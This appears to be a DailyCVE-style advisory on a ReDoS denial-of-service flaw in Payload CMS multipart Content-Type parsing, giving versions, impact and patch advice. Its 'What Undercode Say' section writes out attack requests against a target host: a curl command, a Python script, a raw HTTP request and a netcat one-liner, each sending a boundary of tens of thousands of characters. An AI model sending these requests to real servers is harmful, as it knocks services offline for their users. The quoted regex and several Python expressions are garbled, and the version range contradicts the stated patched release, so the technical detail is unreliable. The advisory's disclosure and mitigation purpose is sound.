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CVE-2026-105854 is a Regular Expression Denial of Service (ReDoS) vulnerability affecting the Payload CMS npm package. The flaw resides in the multipart Content-Type header validation logic. When a Payload instance receives an HTTP POST request with a malformed multipart body, the parser attempts to validate the Content-Type header using a vulnerable regular expression. This regex contains nested quantifiers that exhibit catastrophic backtracking when presented with a carefully crafted input string. An attacker can send a request with a Content-Type header that includes a long sequence of characters designed to cause the regex engine to explore an exponential number of matching paths. As a result, the Node.js event loop becomes blocked, and the server’s CPU usage spikes to 100%, rendering the application unresponsive to legitimate requests. The vulnerability is classified as CWE-1333 (Inefficient Regular Expression Complexity) and CWE-400 (Uncontrolled Resource Consumption). The attack vector is network-accessible and requires no authentication, making it trivial for an unauthenticated attacker to trigger a denial of service condition. The affected versions are all releases from 3.0.0 up to but not including 3.90.0, as well as canary builds from 4.0.0-canary.0 up to but not including 4.0.0-canary.34. The issue was discovered and reported by DanRibbens and subsequently published to the GitHub Advisory Database on October 6, 2026. The CVSS v4.0 score is 8.7, reflecting the high availability impact and the low attack complexity. Exploitation does not require any special privileges or user interaction. In containerized or cloud environments with strict resource limits, the excessive CPU consumption can trigger automatic scaling events, leading to increased operational costs or even instance termination. A single malicious request can exhaust server resources for an extended period, causing timeouts for legitimate users and potentially cascading failures in dependent services. The vulnerability is particularly dangerous for public-facing Payload deployments that do not have a Web Application Firewall (WAF) capable of inspecting and blocking malformed multipart requests before they reach the application layer. The root cause is the lack of safeguards against pathological inputs in the regex used for Content-Type parsing. The patch introduces a revised validation routine that avoids the catastrophic backtracking pattern, ensuring linear time complexity even for malformed headers. Administrators are strongly advised to upgrade to version 3.90.0 or 4.0.0-canary.34 immediately. For environments where immediate patching is not possible, temporary mitigations include configuring reverse proxies to limit request body sizes and implementing WAF rules that reject Content-Type headers containing suspicious patterns.
DailyCVE Form:
Platform: Payload
Version: 3.0.0-3.90.0
Vulnerability: ReDoS Multipart
Severity: High
date: 2026-10-06
Prediction: 2026-11-06
What Undercode Say:
Check current Payload version
npm list payload
Craft a malicious multipart request to trigger ReDoS (educational)
curl -X POST http://target.com/api/upload \
-H "Content-Type: multipart/form-data; boundary=-WebKitFormBoundary$(python3 -c 'print("A"10000)')" \
--data-binary @malformed_body.txt
Monitor CPU usage on the server
top -b -n 1 | grep node
Example of vulnerable regex pattern (simplified)
/boundary=(.?)(;|$)/ -- catastrophic backtracking on long strings
// Vulnerable parsing logic (conceptual)
function validateContentType(header) {
const regex = /boundary=(.?)(;|$)/;
return regex.exec(header);
}
Test with a payload that causes backtracking
python3 -c "
import requests
url = 'http://localhost:3000/api/upload'
headers = {'Content-Type': 'multipart/form-data; boundary=' + 'A'50000}
requests.post(url, headers=headers, data='x')
"
Exploit: (Educational Purposes!)
POST /api/upload HTTP/1.1 Host: target.com Content-Type: multipart/form-data; boundary=AAAA...AAAA (50,000+ characters) Content-Length: 1 x
Using netcat to send raw request
printf 'POST /api/upload HTTP/1.1\r\nHost: target.com\r\nContent-Type: multipart/form-data; boundary=%s\r\nContent-Length: 1\r\n\r\nx' "$(python3 -c 'print("A"50000)')" | nc target.com 80
Protection: from this CVE
Upgrade Payload to patched version npm install [email protected] Or for canary npm install [email protected]
Nginx: Limit client body size to prevent large malformed headers client_max_body_size 10m; client_body_buffer_size 128k;
Apache: Limit request body size LimitRequestBody 10485760
WAF rule example (ModSecurity)
SecRule REQUEST_HEADERS:Content-Type "@rx boundary=.{1000,}" \
"id:1001,phase:1,deny,status:403,msg:'Malformed multipart boundary'"
Impact:
- Unauthenticated remote attacker can cause Denial of Service - High CPU utilization leading to event loop blocking - Service degradation or complete unavailability - Potential for cascading failures in dependent services - Increased operational costs in cloud environments due to auto-scaling - CVSS v4.0 Score: 8.7 (High) - CWE-1333: Inefficient Regular Expression Complexity - CWE-400: Uncontrolled Resource Consumption
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Sources:
Reported By: github.com
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